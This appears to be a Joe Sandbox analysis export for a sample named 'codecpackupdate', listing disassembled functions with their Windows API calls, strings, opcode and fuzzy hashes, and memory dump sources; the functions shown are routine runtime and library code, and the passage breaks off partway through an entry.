Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: H_prologHeap$AllocateConcurrency::cancellation_token::_Exception@8FromImplProcessThrowstd::exception::exception
String ID: bad allocation
API String ID: 3112922283-2104205924
Opcode ID: 863b080c862d37beea50fa134a93033976df33c1c171026fdcc11b4e5928d803
Instruction ID: 4362b39bf8ccee3b4ecb65b41bba0a46daec24f57865962b689188c131fd9ab5
Opcode Fuzzy Hash: 863b080c862d37beea50fa134a93033976df33c1c171026fdcc11b4e5928d803
Instruction Fuzzy Hash: 1DF08CB1D0830DEBCB00EFE0D909BEEBB78EB08304F404158FA25A6281DB7942458B91

Uniqueness

Uniqueness Score: -1.00%

Function 00404842 Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

GetStartupInfoA.KERNEL32(?), ref: 0040489B
GetFileType.KERNEL32(00000800), ref: 00404941
GetStdHandle.KERNEL32(-000000F6), ref: 0040499A
GetFileType.KERNEL32(00000000), ref: 004049A8
SetHandleCount.KERNEL32 ref: 004049DF

Memory Dump Source

Source File: 00000003.00000002.2867652941.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2867652941.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_codecpackupdate.jbxd

Similarity

API ID: FileHandleType$CountInfoStartup
String ID:
API String ID: 1710529072-0
Opcode ID: 56d6159c8425f0dd02e5a81d6ebd8f1304acda9888bee5980fecee2fba5d3342
Instruction ID: 5bba43567eb9c7eebad7166e054eef6f33a3e935d61c9f19950f113686a4cc82
Opcode Fuzzy Hash: 56d6159c8425f0dd02e5a81d6ebd8f1304acda9888bee5980fecee2fba5d3342
Instruction Fuzzy Hash: 585124F25003118BD7208B38CD48B673BA0EB91331F19873AE696BB2E1D738C855875A

Uniqueness

Uniqueness Score: -1.00%

Function 00A01BC0 Relevance: 7.6, APIs: 5, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00A01990: CloseHandle.KERNEL32(00000000,35B6412D), ref: 00A019E1
Part of subcall function 00A01990: WaitForSingleObject.KERNEL32(?,000000FF,35B6412D,?,?,?,?,35B6412D,00A01963,35B6412D), ref: 00A019F8

ReleaseSemaphore.KERNEL32(?,?,00000000), ref: 00A01C5E
ReleaseSemaphore.KERNEL32(?,?,00000000), ref: 00A01C7E
CloseHandle.KERNEL32(?,?,?,?,?,?), ref: 00A01CB7
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?), ref: 00A01D0B
SetEvent.KERNEL32(?), ref: 00A01D12

Part of subcall function 009F418C: CloseHandle.KERNEL32(00000000,?,00A01C45), ref: 009F41B0

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: CloseHandle$ReleaseSemaphore$EventObjectSingleWait
String ID:
API String ID: 4166353394-0
Opcode ID: bc68909d21fafb026e683a578135e3f06210f19e6d558b8f2cad965ac706c189
Instruction ID: 568b5ccf27273b64136b022e46aa2e1822beb37c9099463e159bcbe4ec53e939
Opcode Fuzzy Hash: bc68909d21fafb026e683a578135e3f06210f19e6d558b8f2cad965ac706c189
Instruction Fuzzy Hash: 8841E1706403059FEB25CF28EC80BAB77A4EF45320F244668EC18DB2D5D735DC028BA1

Uniqueness

Uniqueness Score: -1.00%

Function 009F207C Relevance: 7.6, APIs: 5, Instructions: 98timeCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,00000001), ref: 009F20AC
SetWaitableTimer.KERNEL32(00000000,?,00000001,00000000,00000000,00000000), ref: 009F20CD
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 009F20D8
InterlockedDecrement.KERNEL32(?), ref: 009F213E
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 009F21A6

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: Interlocked$Exchange$DecrementTimerWaitable
String ID:
API String ID: 1611172436-0
Opcode ID: e6f397aa27f392c60730c4a4f8b466548b9a380069366d61824c25a0581f55cf
Instruction ID: 67d14c28b2ac81980e7d11e64a4db10a25bcfb16097dd3b502d7e6fe8ef501ba
Opcode Fuzzy Hash: e6f397aa27f392c60730c4a4f8b466548b9a380069366d61824c25a0581f55cf
Instruction Fuzzy Hash: 36319A72208705AFC310DF65C885A6BBBF9FFD8710B144A1EF59683250DB30E906CB91

Uniqueness

Uniqueness Score: -1.00%

Function 009FE02B Relevance: 7.6, APIs: 5, Instructions: 92COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 009FE030

Part of subcall function 009F1A01: TlsGetValue.KERNEL32 ref: 009F1A0A

InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 009FE0AF
RtlEnterCriticalSection.NTDLL(?), ref: 009FE0CB
InterlockedIncrement.KERNEL32(00A25180), ref: 009FE0F0
RtlLeaveCriticalSection.NTDLL(?), ref: 009FE105

Part of subcall function 009F27F3: SetWaitableTimer.KERNEL32(00000000,?,000493E0,00000000,00000000,00000000,00000000,00000000,0000000A,00000000), ref: 009F284E

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: CriticalInterlockedSection$EnterExchangeH_prologIncrementLeaveTimerValueWaitable
String ID:
API String ID: 1578506061-0
Opcode ID: 35dd7a528a6f70003d2bab75684a9d91c09abd69916526ffd67de1445844753a
Instruction ID: 73882ef7c487be1c39c31a996efcbb55400adf5f66bc65814bb28f3d9a070183
Opcode Fuzzy Hash: 35dd7a528a6f70003d2bab75684a9d91c09abd69916526ffd67de1445844753a
Instruction Fuzzy Hash: 143137B1905308DFCB20DFA9D944AAEBBF8FF48310F14855EE949D7641E775AA04CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00A102E4 Relevance: 7.6, APIs: 5, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00A102F0

Part of subcall function 00A02EEC: __FF_MSGBANNER.LIBCMT ref: 00A02F03
Part of subcall function 00A02EEC: __NMSG_WRITE.LIBCMT ref: 00A02F0A
Part of subcall function 00A02EEC: RtlAllocateHeap.NTDLL(008F0000,00000000,00000001), ref: 00A02F2F

_free.LIBCMT ref: 00A10303

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: 9ac9ea5b509969901f50f362d1a581b2f37d3ca4f12bea9eea21b9228626811a
Instruction ID: 07ef0fd0f54d79b6cbb347d960e81d228b918bc1c898eaf51b986662e257eb7f
Opcode Fuzzy Hash: 9ac9ea5b509969901f50f362d1a581b2f37d3ca4f12bea9eea21b9228626811a
Instruction Fuzzy Hash: C4110A32904719ABDB217FB4BD0DFDB3B989F14360B114526F969CE1E0EAB488C18690

Uniqueness

Uniqueness Score: -1.00%

Function 009F21D5 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 009F21DA
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 009F21ED
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,00000001), ref: 009F2224
TlsSetValue.KERNEL32(?,?,?,?,?,?,?,?,?,00000001), ref: 009F2237
TlsSetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 009F2261

Part of subcall function 009F2341: InterlockedExchange.KERNEL32(?,00000001), ref: 009F2350
Part of subcall function 009F2341: InterlockedExchange.KERNEL32(?,00000001), ref: 009F2360
Part of subcall function 009F2341: PostQueuedCompletionStatus.KERNEL32(00000000,00000000,00000000,00000000), ref: 009F2370
Part of subcall function 009F2341: GetLastError.KERNEL32 ref: 009F237A

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: ExchangeInterlockedValue$CompletionErrorH_prologLastPostQueuedStatus
String ID:
API String ID: 1856819132-0
Opcode ID: 6a5518508cbb8a1f7b1b5c4dfdef119ed416befb74571b18163acf3ee067a083
Instruction ID: f14af3a1252b45b1d0750124d77c4933c479ab7e5f137c2fa5920beacde5f230
Opcode Fuzzy Hash: 6a5518508cbb8a1f7b1b5c4dfdef119ed416befb74571b18163acf3ee067a083
Instruction Fuzzy Hash: 52117F72D08218DBCB15EFA8DC04AFEBBB9FF48310F10412AF92592261D7754A42DB90

Uniqueness

Uniqueness Score: -1.00%

Function 009F2298 Relevance: 7.6, APIs: 5, Instructions: 56COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 009F229D
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 009F22B0
TlsGetValue.KERNEL32 ref: 009F22E7
TlsSetValue.KERNEL32(?), ref: 009F2300
TlsSetValue.KERNEL32(?,?,?), ref: 009F231C

Part of subcall function 009F2341: InterlockedExchange.KERNEL32(?,00000001), ref: 009F2350
Part of subcall function 009F2341: InterlockedExchange.KERNEL32(?,00000001), ref: 009F2360
Part of subcall function 009F2341: PostQueuedCompletionStatus.KERNEL32(00000000,00000000,00000000,00000000), ref: 009F2370
Part of subcall function 009F2341: GetLastError.KERNEL32 ref: 009F237A

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: ExchangeInterlockedValue$CompletionErrorH_prologLastPostQueuedStatus
String ID:
API String ID: 1856819132-0
Opcode ID: d5446eeebf9dd5180c081f664089ad1f500370416bebc607c971ad2846a42715
Instruction ID: e72e8bfa46c7909a1476c7fd3cde2bbb5f896cf41f6986a8116cf8ac3f1d6e9b
Opcode Fuzzy Hash: d5446eeebf9dd5180c081f664089ad1f500370416bebc607c971ad2846a42715
Instruction Fuzzy Hash: F5115EB2D04218EBCB11EFA4DC05AFEBBB9EF48750F00412AF804A3260D7754A52DB90

Uniqueness

Uniqueness Score: -1.00%

Function 009FBC45 Relevance: 7.5, APIs: 5, Instructions: 45synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 009FB098: __EH_prolog.LIBCMT ref: 009FB09D

__CxxThrowException@8.LIBCMT ref: 009FBC62

Part of subcall function 00A0449A: RaiseException.KERNEL32(?,?,009FFA92,?,?,?,?,?,?,?,009FFA92,?,00A20F78,?), ref: 00A044EF

WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,00A21D94,?,00000001), ref: 009FBC78
InterlockedExchange.KERNEL32(?,00000001), ref: 009FBC8B
PostQueuedCompletionStatus.KERNEL32(?,00000000,00000001,00000000,?,?,?,00A21D94,?,00000001), ref: 009FBC9B
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 009FBCA9

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: ExchangeInterlocked$CompletionExceptionException@8H_prologObjectPostQueuedRaiseSingleStatusThrowWait
String ID:
API String ID: 2725315915-0
Opcode ID: e74c0568085ee43b753e97000f8131e162d323a14972e5ae635971840ae53489
Instruction ID: f19be68c04e30a6a8da5d9c728cfaad2879bb7c26eaf3f32bd136bcadf9b718b
Opcode Fuzzy Hash: e74c0568085ee43b753e97000f8131e162d323a14972e5ae635971840ae53489
Instruction Fuzzy Hash: D2016DB6604308AFDB10DFE4DD89F9B77ADEB08766B048514F665D6290DB60E8059720

Uniqueness

Uniqueness Score: -1.00%

Function 009F2420 Relevance: 7.5, APIs: 5, Instructions: 38COMMON

Download Yara Rule

APIs

InterlockedCompareExchange.KERNEL32(?,00000001,00000000), ref: 009F2432
PostQueuedCompletionStatus.KERNEL32(?,00000000,00000002,?), ref: 009F2445
RtlEnterCriticalSection.NTDLL(?), ref: 009F2454
InterlockedExchange.KERNEL32(?,00000001), ref: 009F2469
RtlLeaveCriticalSection.NTDLL(?), ref: 009F2470

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: CriticalExchangeInterlockedSection$CompareCompletionEnterLeavePostQueuedStatus
String ID:
API String ID: 747265849-0
Opcode ID: 9c80e352f30340290c9f6b85e87e456b5b1f601711cedbd6aa6ca49cb9fb1fbe
Instruction ID: 92d4446130df1443ac07c2aaf58899690347d278af1d4a43fa44d0653d2eb8d7
Opcode Fuzzy Hash: 9c80e352f30340290c9f6b85e87e456b5b1f601711cedbd6aa6ca49cb9fb1fbe
Instruction Fuzzy Hash: 7BF01772204214BBD710EBE0ED89FEAB72DFB49711F809025F701D6491D7A1A922CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 009F1EC7 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

InterlockedIncrement.KERNEL32(?), ref: 009F1ED2
PostQueuedCompletionStatus.KERNEL32(?,?,?,00000000,00000000,?), ref: 009F1EEA
RtlEnterCriticalSection.NTDLL(?), ref: 009F1EF9
InterlockedExchange.KERNEL32(?,00000001), ref: 009F1F0E
RtlLeaveCriticalSection.NTDLL(?), ref: 009F1F15

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: CriticalInterlockedSection$CompletionEnterExchangeIncrementLeavePostQueuedStatus
String ID:
API String ID: 830998967-0
Opcode ID: 09779e761dc5526172984337db69a00b280e00f0075c4898c69bfdec6b290ea6
Instruction ID: 0f40a5dcd0a0dcbfafd1cd338f6e939dc22c42da48e4fa3692aea25f5247630d
Opcode Fuzzy Hash: 09779e761dc5526172984337db69a00b280e00f0075c4898c69bfdec6b290ea6
Instruction Fuzzy Hash: 45F01772205605BBD700EFA1ED88FDABB3DFF58351F005016F60196451DB61AA268BE0

Uniqueness

Uniqueness Score: -1.00%

Function 00A00800 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 179windowCOMMON

Download Yara Rule

APIs

Part of subcall function 009F9A0C: __EH_prolog.LIBCMT ref: 009F9A11
Part of subcall function 009F9A0C: _Allocate.LIBCPMT ref: 009F9A68
Part of subcall function 009F9A0C: _memmove.LIBCMT ref: 009F9ABF

FormatMessageA.KERNEL32(00001200,00000000,?,00000400,?,00000010,00000000), ref: 00A008E2
GetLastError.KERNEL32(?,00000400,?,00000010,00000000), ref: 00A008EA

Strings

invalid string position, xrefs: 00A00A36
Unknown error, xrefs: 00A00939

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: AllocateErrorFormatH_prologLastMessage_memmove
String ID: Unknown error$invalid string position
API String ID: 1017912131-1837348584
Opcode ID: cd625b08bfda2b3d90d19e2cbeb51ed3c449ba4e8a4a14fc1cf086040725435e
Instruction ID: bf659197332dec50caf3d59dec5e8209dba17022c292d00dd7dec614cac3dace
Opcode Fuzzy Hash: cd625b08bfda2b3d90d19e2cbeb51ed3c449ba4e8a4a14fc1cf086040725435e
Instruction Fuzzy Hash: 2F51BA702083459FEB14CF24D890F2FBBE4BB98384F50092EF481976D2D771E5898B92

Uniqueness

Uniqueness Score: -1.00%

Function 009F8682 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 139COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 009F86EA
_memmove.LIBCMT ref: 009F8798

Strings

string too long, xrefs: 009F871D, 009F87BF
invalid string position, xrefs: 009F8713

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: f4f2029c5868a4d92ed49e601de36cc680286bd7d337394bc07fb70e70c2a6a5
Instruction ID: cb026525c23714403e9f59b849f7e8e5494f81fa3b4a28288b47f18ab4468e8a
Opcode Fuzzy Hash: f4f2029c5868a4d92ed49e601de36cc680286bd7d337394bc07fb70e70c2a6a5
Instruction Fuzzy Hash: 1F418331300309ABDB74AE69D895B77B7AEEF41714B24092DEA56CB381CB70E944CB94

Uniqueness

Uniqueness Score: -1.00%

Function 009F30AE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 97networkCOMMON

Download Yara Rule

APIs

WSASetLastError.WS2_32(00000000), ref: 009F30C3
WSAStringToAddressA.WS2_32(?,?,00000000,?,?), ref: 009F3102
_memcmp.LIBCMT ref: 009F3141

Strings

255.255.255.255, xrefs: 009F3139

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: AddressErrorLastString_memcmp
String ID: 255.255.255.255
API String ID: 1618111833-2422070025
Opcode ID: 43a1f9d25660d8a54e4b371ddbb383961b0cfb1167a804ebefb6e393167cb79f
Instruction ID: e21f21ed7971d7818bab5d4d9e18c8d4d61d0b8afb4c6610c0d3bd0f5ca04f61
Opcode Fuzzy Hash: 43a1f9d25660d8a54e4b371ddbb383961b0cfb1167a804ebefb6e393167cb79f
Instruction Fuzzy Hash: 2631D3B1B0430CDFDB20DF64C880BBEB7B9BF45321F108569E9699B280DB759A418B90

Uniqueness

Uniqueness Score: -1.00%

Function 009F1F56 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 009F1F5B
CreateIoCompletionPort.KERNEL32(000000FF,00000000,00000000,000000FF,?,00000000), ref: 009F1FC5
GetLastError.KERNEL32(?,00000000), ref: 009F1FD2

Part of subcall function 009F1712: __EH_prolog.LIBCMT ref: 009F1717

Strings

iocp, xrefs: 009F1FE0

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: H_prolog$CompletionCreateErrorLastPort
String ID: iocp
API String ID: 998023749-976528080
Opcode ID: 186de4a6d3ad93fb44641f4ce3e65ea28f08f258f3720d17aeb3d5b9aa9b6c0a
Instruction ID: 899751423531298394c19ffdbf0a299a3ec3fb73586e616e77e52d580231d75d
Opcode Fuzzy Hash: 186de4a6d3ad93fb44641f4ce3e65ea28f08f258f3720d17aeb3d5b9aa9b6c0a
Instruction Fuzzy Hash: 9A21EAB1801B44DFC720DF6AC50059AFBF8FF94710B108A1FE5A683A50D7B0A644CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00A03A8F Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00A03AA7

Part of subcall function 00A02EEC: __FF_MSGBANNER.LIBCMT ref: 00A02F03
Part of subcall function 00A02EEC: __NMSG_WRITE.LIBCMT ref: 00A02F0A
Part of subcall function 00A02EEC: RtlAllocateHeap.NTDLL(008F0000,00000000,00000001), ref: 00A02F2F

std::exception::exception.LIBCMT ref: 00A03AC5
__CxxThrowException@8.LIBCMT ref: 00A03ADA

Part of subcall function 00A0449A: RaiseException.KERNEL32(?,?,009FFA92,?,?,?,?,?,?,?,009FFA92,?,00A20F78,?), ref: 00A044EF

Strings

bad allocation, xrefs: 00A03ABA

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrow_mallocstd::exception::exception
String ID: bad allocation
API String ID: 3074076210-2104205924
Opcode ID: 550f082a58580fb72499b684be47a46c16d6476fde09130410b826262cc7a2fb
Instruction ID: 12fd7651247a4f79e6d985203b064b2a38fa40a1a5c0053cc2e1b9a8c1704b29
Opcode Fuzzy Hash: 550f082a58580fb72499b684be47a46c16d6476fde09130410b826262cc7a2fb
Instruction Fuzzy Hash: E0E0657194020EABDF10FF64ED05EEFBB7CAF04350F504555B814A55D1EF729B449690

Uniqueness

Uniqueness Score: -1.00%

Function 009F37B1 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 23COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 009F37B6
__localtime64.LIBCMT ref: 009F37C1

Part of subcall function 00A02540: __gmtime64_s.LIBCMT ref: 00A02553

std::exception::exception.LIBCMT ref: 009F37D9

Part of subcall function 00A02413: std::exception::_Copy_str.LIBCMT ref: 00A0242C

Part of subcall function 009FA45B: __EH_prolog.LIBCMT ref: 009FA460
Part of subcall function 009FA45B: Concurrency::cancellation_token::_FromImpl.LIBCPMT ref: 009FA46F
Part of subcall function 009FA45B: __CxxThrowException@8.LIBCMT ref: 009FA48E

Strings

could not convert calendar time to UTC time, xrefs: 009F37CE

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: H_prolog$Concurrency::cancellation_token::_Copy_strException@8FromImplThrow__gmtime64_s__localtime64std::exception::_std::exception::exception
String ID: could not convert calendar time to UTC time
API String ID: 1963798777-2088861013
Opcode ID: f1c9cfae941f773d90b04e003e748bac4effbb57fb06577e0ffa5e323fbae2bc
Instruction ID: 8f27fea0cfcb079070aa3e668a3d33c52b9211185e703504602985b79ed5cc83
Opcode Fuzzy Hash: f1c9cfae941f773d90b04e003e748bac4effbb57fb06577e0ffa5e323fbae2bc
Instruction Fuzzy Hash: 1FE06DB1C0460EDACB00EFA0D9057FEB778EB04304F004569E825A2591EB7956468B95

Uniqueness

Uniqueness Score: -1.00%

Function 00403B08 Relevance: 6.4, APIs: 5, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

HeapAlloc.KERNEL32(00000000,00002020,?,00000000,?,?,004032A0), ref: 00403B29
VirtualAlloc.KERNEL32(00000000,00400000,00002000,00000004,?,00000000,?,?,004032A0), ref: 00403B4D
VirtualAlloc.KERNEL32(00000000,00010000,00001000,00000004,?,00000000,?,?,004032A0), ref: 00403B67
VirtualFree.KERNEL32(00000000,00000000,00008000,?,00000000,?,?,004032A0), ref: 00403C28
HeapFree.KERNEL32(00000000,00000000,?,00000000,?,?,004032A0), ref: 00403C3F

Memory Dump Source

Source File: 00000003.00000002.2867652941.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2867652941.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_codecpackupdate.jbxd

Similarity

API ID: AllocVirtual$FreeHeap
String ID:
API String ID: 714016831-0
Opcode ID: 2f654d351822ba0938a426815c3a9789615761df562ee039fb8b9cb046954d4c
Instruction ID: 29c7c306398b504596bf767bafbbf3f0594b5aced9f79ae4ff8fd419923c464c
Opcode Fuzzy Hash: 2f654d351822ba0938a426815c3a9789615761df562ee039fb8b9cb046954d4c
Instruction Fuzzy Hash: 6831F071A447019BE3208F24DD45B22BFB8EB44B5AF10813AE566BB3D1E778B9008B5D

Uniqueness

Uniqueness Score: -1.00%

Function 00A0C329 Relevance: 6.2, APIs: 4, Instructions: 162COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00A0C3BA
_memmove.LIBCMT ref: 00A0C42E
___AdjustPointer.LIBCMT ref: 00A0C47F
_memmove.LIBCMT ref: 00A0C488

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: AdjustPointer_memmove
String ID:
API String ID: 1721217611-0
Opcode ID: bcebf5ed13ebc7e78fcdd28f9cbbecee3214e199bbac3abee126ad2a332387f4
Instruction ID: d0f0504243a34483cf7d752f7c0ddbbcbf82b7aa99aca5115b19f19a5a3b60d8
Opcode Fuzzy Hash: bcebf5ed13ebc7e78fcdd28f9cbbecee3214e199bbac3abee126ad2a332387f4
Instruction Fuzzy Hash: B941F73720470B9BEB245F64F8E5B7A73A5AF41330F24851DF9458A1E2DB32E980DA11

Uniqueness

Uniqueness Score: -1.00%

Function 00A01260 Relevance: 6.1, APIs: 4, Instructions: 148COMMONLIBRARYCODE

Download Yara Rule

APIs

SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,009F4149), ref: 00A012FF

Part of subcall function 009F3FDC: __EH_prolog.LIBCMT ref: 009F3FE1
Part of subcall function 009F3FDC: CreateEventA.KERNEL32(00000000,?,?,00000000), ref: 009F3FF3

CloseHandle.KERNEL32(00000000), ref: 00A012F4
CloseHandle.KERNEL32(00000004,?,?,?,?,?,?,?,?,?,?,?,009F4149), ref: 00A01340
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,009F4149), ref: 00A01411

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: CloseHandle$Event$CreateH_prolog
String ID:
API String ID: 2825413587-0
Opcode ID: 2b775c84c0b84f87df44828e81fb40b40cfca5ac2526a3287e98cf3ea145ab92
Instruction ID: cd68a1a27dfd8dfddb79fae1724a0ae12c49aa12a248cecdcc27330778b01dc6
Opcode Fuzzy Hash: 2b775c84c0b84f87df44828e81fb40b40cfca5ac2526a3287e98cf3ea145ab92
Instruction Fuzzy Hash: 36519F756043098BDB21DF28E8847DA77E4BF48328F194628F8699B3D1D735DD06CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00A036F0 Relevance: 6.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00A03786
__flush.LIBCMT ref: 00A037A6
__write.LIBCMT ref: 00A037D9
__flsbuf.LIBCMT ref: 00A03807

Part of subcall function 00A05D9B: __getptd_noexit.LIBCMT ref: 00A05D9B

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: __flsbuf__flush__getptd_noexit__write_memmove
String ID:
API String ID: 2782032738-0
Opcode ID: 4b00bb2f2e8909ad1b25914f564552747ffa73792e7b52f6c639d3ed484d2925
Instruction ID: 5cd3b693fbc4d06c2a81e7d1c1deb04f5b5af72d7fa21d4e0a53fb4252235f2d
Opcode Fuzzy Hash: 4b00bb2f2e8909ad1b25914f564552747ffa73792e7b52f6c639d3ed484d2925
Instruction Fuzzy Hash: 934162F6A0070DABDF28CF69E8845AA77B9AF44360B24856DF815866C0E770DE458B40

Uniqueness

Uniqueness Score: -1.00%

Function 00A0FE55 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00A0FE8B
__isleadbyte_l.LIBCMT ref: 00A0FEB9
MultiByteToWideChar.KERNEL32(?,00000009,00000108,?,00000000,00000000), ref: 00A0FEE7
MultiByteToWideChar.KERNEL32(?,00000009,00000108,00000001,00000000,00000000), ref: 00A0FF1D

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

